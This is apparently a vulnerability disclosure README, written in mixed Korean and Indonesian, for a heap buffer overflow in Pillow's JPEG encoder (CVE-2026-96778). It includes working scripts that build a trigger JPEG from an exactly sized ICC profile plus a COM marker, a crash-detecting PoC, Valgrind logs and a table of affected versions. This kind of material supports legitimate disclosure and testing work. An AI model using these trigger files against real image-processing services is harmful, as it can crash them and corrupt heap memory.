CVE-2026-96778에 대한 개념 증명 및 기술 분석으로, 재저장 시 ICC 프로파일과 COM 마커에 의해 트리거되는 Pillow의 JPEG 인코더에서 발생하는 힙 버퍼 오버플로입니다.
이 저장소에는 Pillow(Python Imaging Library) 라이브러리의 힙 버퍼 오버플로인 CVE-2026-96778에 대한 Proof of Concept(PoC), 재현 증거 및 기술 분석이 포함되어 있습니다.
간단 요약: 정확한 크기의 ICC 프로필과 주석(COM 마커)을 포함한 JPEG 이미지를 다시 저장하면 65,536바이트 인코더 버퍼를 넘어 쓰기가 발생하여 힙 메타데이터가 손상되고, 잠재적으로 서비스 거부(crash)에서 코드 실행까지 이어질 수 있습니다.
| Field | 값 |
|---|---|
| CVE ID | CVE-2026-96778 |
| 구성 요소 | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| 취약 지점 | 282행(COM 마커용 jpeg_write_marker) |
| 유형 | 힙 버퍼 오버플로(CWE-122) |
| 영향 범위 | Pillow 9.4.0 – <13.0.0 |
| 수정 버전 | Pillow 13.0.0 |
| 영향 | DoS(SIGSEGV/SIGABRT), 잠재적 RCE |
| 벡터 | 로컬 / 사용자 상호작용(이미지 열기 및 다시 저장) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save()는 출력 버퍼 크기를 exif와 extra(ICC 프로필)만으로 계산하며, 주석을 위한 공간을 남기지 않습니다._encode_to_file()(src/encode.c:186)은 MAXBLOCK = 65,536바이트 버퍼를 할당합니다.free_in_buffer == 0이 됩니다.jpeg_write_marker()가 호출되면(JpegEncode.c:282), libjpeg는 먼저 1바이트를 쓴 다음 size_t free_in_buffer 카운터를 감소시킵니다.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Dengan ICC_PAYLOAD = 65498, buffer terisi tepat sampai byte terakhir.
Menambahkan COM marker (panjang berapa pun, 1–65533 byte) memicu overflow.
Komentar maksimal legal (65.533 byte) membuat overflow menulis data dalam
jumlah besar, sehingga crash lebih deterministik. Komentar kecil (mis. 32 byte)
tetap memicu Invalid write di Valgrind, tetapi belum tentu crash di runtime
normal (tergantung layout heap dan allocator).
| Komponen | Nilai |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compiler | gcc 13.3.0 |
| Pillow diuji | 9.4.0, 9.5.0, 13.0.0 |
| Sumber Pillow | build dari source (pip install -e .) |
make_trigger.py — 트리거 JPEG 생성기Membuat trigger.jpg dengan profil ICC 65.498 byte dan COM marker.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Valgrind 친화적 재현from PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Valgrind로 실행:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — 참조 PoC (크래시 탐지)공식 GHSA-g7cr-3p24-7wf7 권고를 기반으로 합니다.
자식 프로세스에서 im.save()를 실행하고 종료 상태를 확인합니다
(음수 = 시그널에 의해 종료됨).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Pillow 버전 | 가져오기 소스 | Valgrind | PoC 권고 | 상태 |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + 힙 손상 | BUG (SIGSEGV) | 취약 |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + 힙 손상 | BUG (SIGSEGV) | 취약 |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | 안전 |
==7310== Invalid write of size 1
==7310== at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310== by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310== by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310== Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310== at malloc
==7310== by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224
==7653== Invalid write of size 1
==7653== at 0x622510E: ??? (in libjpeg.so.8.2.2)
==7653== by 0x6215569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7653== by 0x61DEB7D: ImagingJpegEncode (JpegEncode.c:282)
==7653== Address 0x6029c20 is 0 bytes after a block of size 65,536 alloc'd
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224
Punya ICC: True
Punya komentar: True
Selesai menyimpan ulang.
...
ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
sudo apt update
sudo apt install -y build-essential python3-dev libjpeg-dev zlib1g-dev \
libfreetype6-dev liblcms2-dev libtiff-dev libwebp-dev \
libopenjp2-7-dev libxcb1-dev valgrind git